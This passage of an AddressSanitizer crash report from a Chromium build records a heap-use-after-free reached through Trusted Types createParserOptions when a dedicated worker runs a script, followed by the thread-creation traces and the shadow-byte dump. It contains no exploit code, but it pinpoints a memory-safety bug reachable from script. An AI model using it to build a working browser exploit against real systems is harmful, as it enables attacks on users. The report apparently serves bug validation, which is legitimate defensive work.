#9 0x55fb7cfba669 in blink::TrustedTypePolicy::createParserOptions(v8::Isolate*, blink::SetHTMLUnsafeOptions const*, blink::ExceptionState&) ./../../third_party/blink/renderer/core/trustedtypes/trusted_type_policy.cc:186:15
#10 0x55fb7f0f5eb5 in blink::(anonymous namespace)::v8_trusted_type_policy::CreateParserOptionsOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) ./gen/third_party/blink/renderer/bindings/core/v8/v8_trusted_type_policy.cc:156:39
#11 0x55fb5d0a6bd3 in Builtins_CallApiCallbackGeneric ???:0:0
#12 0x55fb5d0a5000 in Builtins_InterpreterEntryTrampoline ???:0:0
#13 0x55fb5d0a1c1b in Builtins_JSEntryTrampoline ???:0:0
#14 0x55fb5d0a196a in Builtins_JSEntry ???:0:0
#15 0x55fb57a856a5 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) ./../../v8/src/execution/execution.cc:507:22
#16 0x55fb57a88753 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) ./../../v8/src/execution/execution.cc:607:10
#17 0x55fb5765af94 in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) ./../../v8/src/api/api.cc:2069:7
#18 0x55fb7915c3d5 in blink::V8ScriptRunner::RunCompiledScript(v8::Isolate*, v8::Local<v8::Script>, v8::Local<v8::Data>, blink::ExecutionContext*) ./../../third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:508:22
#19 0x55fb7915dda5 in blink::V8ScriptRunner::CompileAndRunScript(blink::ScriptState*, blink::ClassicScript*, blink::ExecuteScriptPolicy, blink::V8ScriptRunner::RethrowErrorsOption) ./../../third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:631:22
#20 0x55fb7c9f1192 in blink::ClassicScript::RunScriptOnScriptStateAndReturnValue(blink::ScriptState*, blink::ExecuteScriptPolicy, blink::V8ScriptRunner::RethrowErrorsOption) ./../../third_party/blink/renderer/core/script/classic_script.cc:227:10
#21 0x55fb7d046ce9 in blink::WorkerGlobalScope::RunWorkerScript() ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:589:15
#22 0x55fb7d04611d in blink::WorkerGlobalScope::WorkerScriptFetchFinished(blink::Script&, std::__Cr::optional<v8_inspector::V8StackTraceId>) ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:532:5
#23 0x55fb7cff8a5d in blink::DedicatedWorkerGlobalScope::WorkerScriptFetchFinished(blink::Script&, std::__Cr::optional<v8_inspector::V8StackTraceId>) ./../../third_party/blink/renderer/core/workers/dedicated_worker_global_scope.cc:636:22
#24 0x55fb7d045bfb in blink::WorkerGlobalScope::EvaluateClassicScript(blink::KURL const&, blink::String, std::__Cr::unique_ptr<blink::Vector<unsigned char, 0u, blink::PartitionAllocator>, std::__Cr::default_delete<blink::Vector<unsigned char, 0u, blink::PartitionAllocator>>>, v8_inspector::V8StackTraceId const&) ./../../third_party/blink/renderer/core/workers/worker_global_scope.cc:515:3
#25 0x55fb7cff4628 in blink::DedicatedWorkerGlobalScope::DidFetchClassicScript(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&) ./../../third_party/blink/renderer/core/workers/dedicated_worker_global_scope.cc:524:3
#26 0x55fb7cffaa81 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::DedicatedWorkerGlobalScope::*&&)(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&), cppgc::internal::BasicPersistent<blink::DedicatedWorkerGlobalScope, cppgc::internal::WeakPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, cppgc::internal::BasicPersistent<blink::WorkerClassicScriptLoader, cppgc::internal::StrongPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, v8_inspector::V8StackTraceId&&>, base::internal::BindState<true, true, false, void (blink::DedicatedWorkerGlobalScope::*)(blink::WorkerClassicScriptLoader*, v8_inspector::V8StackTraceId const&), cppgc::internal::BasicPersistent<blink::DedicatedWorkerGlobalScope, cppgc::internal::WeakPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, cppgc::internal::BasicPersistent<blink::WorkerClassicScriptLoader, cppgc::internal::StrongPersistentPolicy, cppgc::internal::KeepLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, v8_inspector::V8StackTraceId>, void ()>::RunOnce(base::internal::BindStateBase*) ./../../base/functional/bind_internal.h:740:12
#27 0x55fb7d03da36 in blink::WorkerClassicScriptLoader::OnFinishedLoadingWorkerMainScript() ./../../base/functional/callback.h:155:12
#28 0x55fb62ab2e3e in blink::WorkerMainScriptLoader::NotifyCompletionIfAppropriate() ./../../third_party/blink/renderer/platform/loader/fetch/url_loader/worker_main_script_loader.cc:281:13
#29 0x55fb62ab3a6d in blink::WorkerMainScriptLoader::OnReadable(unsigned int) ./../../third_party/blink/renderer/platform/loader/fetch/url_loader/worker_main_script_loader.cc:243:7
Thread T13 (DedicatedWorker) created by T0 (chrome) here:
#0 0x55fb50b2cfe5 in ___interceptor_pthread_create ??:0:0
#1 0x55fb6bbd8116 in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) ./../../base/threading/platform_thread_posix.cc:153:13
#2 0x55fb6bb6949c in base::SimpleThread::StartAsync() ./../../base/threading/simple_thread.cc:55:13
#3 0x55fb6288cc1a in blink::NonMainThread::CreateThread(blink::ThreadCreationParams const&) ./../../third_party/blink/renderer/platform/scheduler/worker/non_main_thread_impl.cc:40:11
#4 0x55fb7d0345a2 in blink::WorkerBackingThread::WorkerBackingThread(blink::ThreadCreationParams const&) ./../../third_party/blink/renderer/core/workers/worker_backing_thread.cc:132:23
#5 0x55fb7d0259fe in blink::DedicatedWorkerThread::DedicatedWorkerThread(blink::ExecutionContext*, blink::DedicatedWorkerObjectProxy&, mojo::PendingRemote<blink::mojom::blink::DedicatedWorkerHost>, mojo::PendingRemote<blink::mojom::blink::BackForwardCacheControllerHost>) ./../../third_party/libc++/src/include/__memory/unique_ptr.h:763:30
#6 0x55fb7d00c059 in blink::DedicatedWorkerMessagingProxy::CreateWorkerThread() ./../../third_party/libc++/src/include/__memory/unique_ptr.h:763:30
#7 0x55fb7d02bfa1 in blink::ThreadedMessagingProxyBase::InitializeWorkerThread(std::__Cr::unique_ptr<blink::GlobalScopeCreationParams, std::__Cr::default_delete<blink::GlobalScopeCreationParams>>, std::__Cr::optional<blink::WorkerBackingThreadStartupData> const&, std::__Cr::optional<base::TokenType<blink::DedicatedWorkerTokenTypeMarker> const> const&, std::__Cr::unique_ptr<blink::WorkerDevToolsParams, std::__Cr::default_delete<blink::WorkerDevToolsParams>>) ./../../third_party/blink/renderer/core/workers/threaded_messaging_proxy_base.cc:91:20
#8 0x55fb7d0062ab in blink::DedicatedWorkerMessagingProxy::StartWorkerGlobalScope(std::__Cr::unique_ptr<blink::GlobalScopeCreationParams, std::__Cr::default_delete<blink::GlobalScopeCreationParams>>, std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, blink::WorkerOptions const*, blink::KURL const&, blink::FetchClientSettingsObjectSnapshot const&, v8_inspector::V8StackTraceId const&, base::TokenType<blink::DedicatedWorkerTokenTypeMarker> const&, mojo::PendingRemote<blink::mojom::blink::DedicatedWorkerHost>, mojo::PendingRemote<blink::mojom::blink::BackForwardCacheControllerHost>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>) ./../../third_party/blink/renderer/core/workers/dedicated_worker_messaging_proxy.cc:106:22
#9 0x55fb7d01b91f in blink::DedicatedWorker::ContinueStartInternal(blink::KURL const&, std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, network::mojom::ReferrerPolicy, blink::Vector<mojo::StructPtr<network::mojom::blink::ContentSecurityPolicy>, 0u, blink::PartitionAllocator>, blink::DocumentPolicy::DocumentPolicyBundle, mojo::PendingRemote<blink::mojom::blink::BackForwardCacheControllerHost>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>, mojo::PendingReceiver<blink::mojom::blink::ReportingObserver>, mojo::PendingReceiver<blink::mojom::blink::ReportingObserver>) ./../../third_party/blink/renderer/core/workers/dedicated_worker.cc:473:19
#10 0x55fb7d01a1b2 in blink::DedicatedWorker::ContinueStart(blink::KURL const&, std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, network::mojom::ReferrerPolicy, blink::Vector<mojo::StructPtr<network::mojom::blink::ContentSecurityPolicy>, 0u, blink::PartitionAllocator>, blink::DocumentPolicy::DocumentPolicyBundle, mojo::PendingRemote<blink::mojom::blink::BackForwardCacheControllerHost>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>, mojo::PendingReceiver<blink::mojom::blink::ReportingObserver>, mojo::PendingReceiver<blink::mojom::blink::ReportingObserver>) ./../../third_party/blink/renderer/core/workers/dedicated_worker.cc:445:3
#11 0x55fb7d01993a in blink::DedicatedWorker::OnScriptLoadStarted(std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, blink::CrossVariantMojoRemote<blink::mojom::BackForwardCacheControllerHostInterfaceBase>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>, blink::CrossVariantMojoReceiver<blink::mojom::ReportingObserverInterfaceBase>, blink::CrossVariantMojoReceiver<blink::mojom::ReportingObserverInterfaceBase>) ./../../third_party/blink/renderer/core/workers/dedicated_worker.cc:367:3
#12 0x55fb7907dabc in content::DedicatedWorkerHostFactoryClient::OnScriptLoadStarted(mojo::StructPtr<blink::mojom::ServiceWorkerContainerInfoForClient>, mojo::StructPtr<blink::mojom::WorkerMainScriptLoadParams>, std::__Cr::unique_ptr<blink::PendingURLLoaderFactoryBundle, std::__Cr::default_delete<blink::PendingURLLoaderFactoryBundle>>, mojo::PendingReceiver<blink::mojom::SubresourceLoaderUpdater>, mojo::StructPtr<blink::mojom::ControllerServiceWorkerInfo>, mojo::PendingRemote<blink::mojom::BackForwardCacheControllerHost>, mojo::StructPtr<blink::mojom::PolicyContainer>, mojo::PendingReceiver<blink::mojom::ReportingObserver>, mojo::PendingReceiver<blink::mojom::ReportingObserver>) ./../../content/renderer/worker/dedicated_worker_host_factory_client.cc:168:12
#13 0x55fb564e48cc in blink::mojom::DedicatedWorkerHostFactoryClientStubDispatch::Accept(blink::mojom::DedicatedWorkerHostFactoryClient*, mojo::Message*) ./gen/third_party/blink/public/mojom/worker/dedicated_worker_host_factory.mojom.cc:543:13
#14 0x55fb6c8bfc57 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1085:54
#15 0x55fb6c8ddba1 in mojo::MessageDispatcher::Accept(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#16 0x55fb6c8c5ef3 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#17 0x55fb6c8eda23 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) ./../../mojo/public/cpp/bindings/lib/multiplex_router.cc:1223:42
#18 0x55fb6c8ebf01 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/multiplex_router.cc:809:7
#19 0x55fb6c8ddba1 in mojo::MessageDispatcher::Accept(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#20 0x55fb6c8b686e in mojo::Connector::DispatchMessage(mojo::ScopedHandleBase<mojo::MessageHandle>) ./../../mojo/public/cpp/bindings/lib/connector.cc:571:49
#21 0x55fb6c8b800c in mojo::Connector::ReadAllAvailableMessages() ./../../mojo/public/cpp/bindings/lib/connector.cc:632:14
#22 0x55fb6c8b7a69 in mojo::Connector::OnWatcherHandleReady(char const*, unsigned int) ./../../mojo/public/cpp/bindings/lib/connector.cc:452:3
#23 0x55fb6c8b9968 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) ./../../base/functional/bind_internal.h:740:12
#24 0x55fb56bde2fe in base::RepeatingCallback<void (unsigned int)>::Run(unsigned int) const & ./../../base/functional/callback.h:346:12
#25 0x55fb56bde09a in base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) ./../../base/functional/bind_internal.h:673:12
#26 0x55fb6c95e440 in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(unsigned int, mojo::HandleSignalsState const&) const & ./../../base/functional/callback.h:346:12
#27 0x55fb6c95dd67 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) ./../../mojo/public/cpp/system/simple_watcher.cc:286:14
#28 0x55fb6c95ef47 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) ./../../base/functional/bind_internal.h:740:12
#29 0x55fb6ba711a9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) ./../../base/functional/callback.h:155:12
#30 0x55fb6bae09b4 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) ./../../base/task/common/task_annotator.h:114:5
#31 0x55fb6badf745 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:341:40
#32 0x55fb6b928e45 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ./../../base/message_loop/message_pump_default.cc:66:55
#33 0x55fb6bae214c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:656:12
#34 0x55fb6b9ee998 in base::RunLoop::Run(base::Location const&) ./../../base/run_loop.cc:135:14
#35 0x55fb78fe043f in content::RendererMain(content::MainFunctionParams) ./../../content/renderer/renderer_main.cc:342:16
#36 0x55fb677e6897 in content::RunZygote(content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:676:14
#37 0x55fb677e82cd in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:783:12
#38 0x55fb677eb2f7 in content::ContentMainRunnerImpl::Run() ./../../content/app/content_main_runner_impl.cc:1176:10
#39 0x55fb677e4143 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) ./../../content/app/content_main.cc:330:36
#40 0x55fb677e477c in content::ContentMain(content::ContentMainParams) ./../../content/app/content_main.cc:343:10
#41 0x55fb50b850c0 in ChromeMain ./../../chrome/app/chrome_main.cc:256:12
#42 0x7f74e6631f76 in __libc_start_call_main ./csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#43 0x7ffd6de5b57d (<unknown module>)
Thread T16 (DedicatedWorker) created by T0 (chrome) here:
#0 0x55fb50b2cfe5 in ___interceptor_pthread_create ??:0:0
#1 0x55fb6bbd8116 in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) ./../../base/threading/platform_thread_posix.cc:153:13
#2 0x55fb6bb6949c in base::SimpleThread::StartAsync() ./../../base/threading/simple_thread.cc:55:13
#3 0x55fb6288cc1a in blink::NonMainThread::CreateThread(blink::ThreadCreationParams const&) ./../../third_party/blink/renderer/platform/scheduler/worker/non_main_thread_impl.cc:40:11
#4 0x55fb7d0345a2 in blink::WorkerBackingThread::WorkerBackingThread(blink::ThreadCreationParams const&) ./../../third_party/blink/renderer/core/workers/worker_backing_thread.cc:132:23
#5 0x55fb7d0259fe in blink::DedicatedWorkerThread::DedicatedWorkerThread(blink::ExecutionContext*, blink::DedicatedWorkerObjectProxy&, mojo::PendingRemote<blink::mojom::blink::DedicatedWorkerHost>, mojo::PendingRemote<blink::mojom::blink::BackForwardCacheControllerHost>) ./../../third_party/libc++/src/include/__memory/unique_ptr.h:763:30
#6 0x55fb7d00c059 in blink::DedicatedWorkerMessagingProxy::CreateWorkerThread() ./../../third_party/libc++/src/include/__memory/unique_ptr.h:763:30
#7 0x55fb7d02bfa1 in blink::ThreadedMessagingProxyBase::InitializeWorkerThread(std::__Cr::unique_ptr<blink::GlobalScopeCreationParams, std::__Cr::default_delete<blink::GlobalScopeCreationParams>>, std::__Cr::optional<blink::WorkerBackingThreadStartupData> const&, std::__Cr::optional<base::TokenType<blink::DedicatedWorkerTokenTypeMarker> const> const&, std::__Cr::unique_ptr<blink::WorkerDevToolsParams, std::__Cr::default_delete<blink::WorkerDevToolsParams>>) ./../../third_party/blink/renderer/core/workers/threaded_messaging_proxy_base.cc:91:20
#8 0x55fb7d0062ab in blink::DedicatedWorkerMessagingProxy::StartWorkerGlobalScope(std::__Cr::unique_ptr<blink::GlobalScopeCreationParams, std::__Cr::default_delete<blink::GlobalScopeCreationParams>>, std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, blink::WorkerOptions const*, blink::KURL const&, blink::FetchClientSettingsObjectSnapshot const&, v8_inspector::V8StackTraceId const&, base::TokenType<blink::DedicatedWorkerTokenTypeMarker> const&, mojo::PendingRemote<blink::mojom::blink::DedicatedWorkerHost>, mojo::PendingRemote<blink::mojom::blink::BackForwardCacheControllerHost>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>) ./../../third_party/blink/renderer/core/workers/dedicated_worker_messaging_proxy.cc:106:22
#9 0x55fb7d01b91f in blink::DedicatedWorker::ContinueStartInternal(blink::KURL const&, std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, network::mojom::ReferrerPolicy, blink::Vector<mojo::StructPtr<network::mojom::blink::ContentSecurityPolicy>, 0u, blink::PartitionAllocator>, blink::DocumentPolicy::DocumentPolicyBundle, mojo::PendingRemote<blink::mojom::blink::BackForwardCacheControllerHost>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>, mojo::PendingReceiver<blink::mojom::blink::ReportingObserver>, mojo::PendingReceiver<blink::mojom::blink::ReportingObserver>) ./../../third_party/blink/renderer/core/workers/dedicated_worker.cc:473:19
#10 0x55fb7d01a1b2 in blink::DedicatedWorker::ContinueStart(blink::KURL const&, std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, network::mojom::ReferrerPolicy, blink::Vector<mojo::StructPtr<network::mojom::blink::ContentSecurityPolicy>, 0u, blink::PartitionAllocator>, blink::DocumentPolicy::DocumentPolicyBundle, mojo::PendingRemote<blink::mojom::blink::BackForwardCacheControllerHost>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>, mojo::PendingReceiver<blink::mojom::blink::ReportingObserver>, mojo::PendingReceiver<blink::mojom::blink::ReportingObserver>) ./../../third_party/blink/renderer/core/workers/dedicated_worker.cc:445:3
#11 0x55fb7d01993a in blink::DedicatedWorker::OnScriptLoadStarted(std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, blink::CrossVariantMojoRemote<blink::mojom::BackForwardCacheControllerHostInterfaceBase>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>, blink::CrossVariantMojoReceiver<blink::mojom::ReportingObserverInterfaceBase>, blink::CrossVariantMojoReceiver<blink::mojom::ReportingObserverInterfaceBase>) ./../../third_party/blink/renderer/core/workers/dedicated_worker.cc:367:3
#12 0x55fb7907dabc in content::DedicatedWorkerHostFactoryClient::OnScriptLoadStarted(mojo::StructPtr<blink::mojom::ServiceWorkerContainerInfoForClient>, mojo::StructPtr<blink::mojom::WorkerMainScriptLoadParams>, std::__Cr::unique_ptr<blink::PendingURLLoaderFactoryBundle, std::__Cr::default_delete<blink::PendingURLLoaderFactoryBundle>>, mojo::PendingReceiver<blink::mojom::SubresourceLoaderUpdater>, mojo::StructPtr<blink::mojom::ControllerServiceWorkerInfo>, mojo::PendingRemote<blink::mojom::BackForwardCacheControllerHost>, mojo::StructPtr<blink::mojom::PolicyContainer>, mojo::PendingReceiver<blink::mojom::ReportingObserver>, mojo::PendingReceiver<blink::mojom::ReportingObserver>) ./../../content/renderer/worker/dedicated_worker_host_factory_client.cc:168:12
#13 0x55fb564e48cc in blink::mojom::DedicatedWorkerHostFactoryClientStubDispatch::Accept(blink::mojom::DedicatedWorkerHostFactoryClient*, mojo::Message*) ./gen/third_party/blink/public/mojom/worker/dedicated_worker_host_factory.mojom.cc:543:13
#14 0x55fb6c8bfc57 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1085:54
#15 0x55fb6c8ddba1 in mojo::MessageDispatcher::Accept(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#16 0x55fb6c8c5ef3 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#17 0x55fb6c8eda23 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) ./../../mojo/public/cpp/bindings/lib/multiplex_router.cc:1223:42
#18 0x55fb6c8ebf01 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/multiplex_router.cc:809:7
#19 0x55fb6c8ddba1 in mojo::MessageDispatcher::Accept(mojo::Message*) ./../../mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#20 0x55fb6c8b686e in mojo::Connector::DispatchMessage(mojo::ScopedHandleBase<mojo::MessageHandle>) ./../../mojo/public/cpp/bindings/lib/connector.cc:571:49
#21 0x55fb6c8b800c in mojo::Connector::ReadAllAvailableMessages() ./../../mojo/public/cpp/bindings/lib/connector.cc:632:14
#22 0x55fb6c8b7a69 in mojo::Connector::OnWatcherHandleReady(char const*, unsigned int) ./../../mojo/public/cpp/bindings/lib/connector.cc:452:3
#23 0x55fb6c8b9968 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) ./../../base/functional/bind_internal.h:740:12
#24 0x55fb56bde2fe in base::RepeatingCallback<void (unsigned int)>::Run(unsigned int) const & ./../../base/functional/callback.h:346:12
#25 0x55fb56bde09a in base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) ./../../base/functional/bind_internal.h:673:12
#26 0x55fb6c95e440 in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(unsigned int, mojo::HandleSignalsState const&) const & ./../../base/functional/callback.h:346:12
#27 0x55fb6c95dd67 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) ./../../mojo/public/cpp/system/simple_watcher.cc:286:14
#28 0x55fb6c95ef47 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) ./../../base/functional/bind_internal.h:740:12
#29 0x55fb6ba711a9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) ./../../base/functional/callback.h:155:12
#30 0x55fb6bae09b4 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) ./../../base/task/common/task_annotator.h:114:5
#31 0x55fb6badf745 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:341:40
#32 0x55fb6b928e45 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ./../../base/message_loop/message_pump_default.cc:66:55
#33 0x55fb6bae214c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:656:12
#34 0x55fb6b9ee998 in base::RunLoop::Run(base::Location const&) ./../../base/run_loop.cc:135:14
#35 0x55fb78fe043f in content::RendererMain(content::MainFunctionParams) ./../../content/renderer/renderer_main.cc:342:16
#36 0x55fb677e6897 in content::RunZygote(content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:676:14
#37 0x55fb677e82cd in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:783:12
#38 0x55fb677eb2f7 in content::ContentMainRunnerImpl::Run() ./../../content/app/content_main_runner_impl.cc:1176:10
#39 0x55fb677e4143 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) ./../../content/app/content_main.cc:330:36
#40 0x55fb677e477c in content::ContentMain(content::ContentMainParams) ./../../content/app/content_main.cc:343:10
#41 0x55fb50b850c0 in ChromeMain ./../../chrome/app/chrome_main.cc:256:12
#42 0x7f74e6631f76 in __libc_start_call_main ./csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#43 0x7ffd6de5b57d (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free (/usr/local/google/home/hanzheng/workspace/validate-chromium/asan-build/153.0.7979.3/chrome+0x3f063c23) (BuildId: 60f20cd99ffe871f)
Shadow bytes around the buggy address:
0x7a035180a580: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a035180a600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a035180a680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a035180a700: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a035180a780: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x7a035180a800: fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd
0x7a035180a880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a035180a900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a035180a980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7a035180aa00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
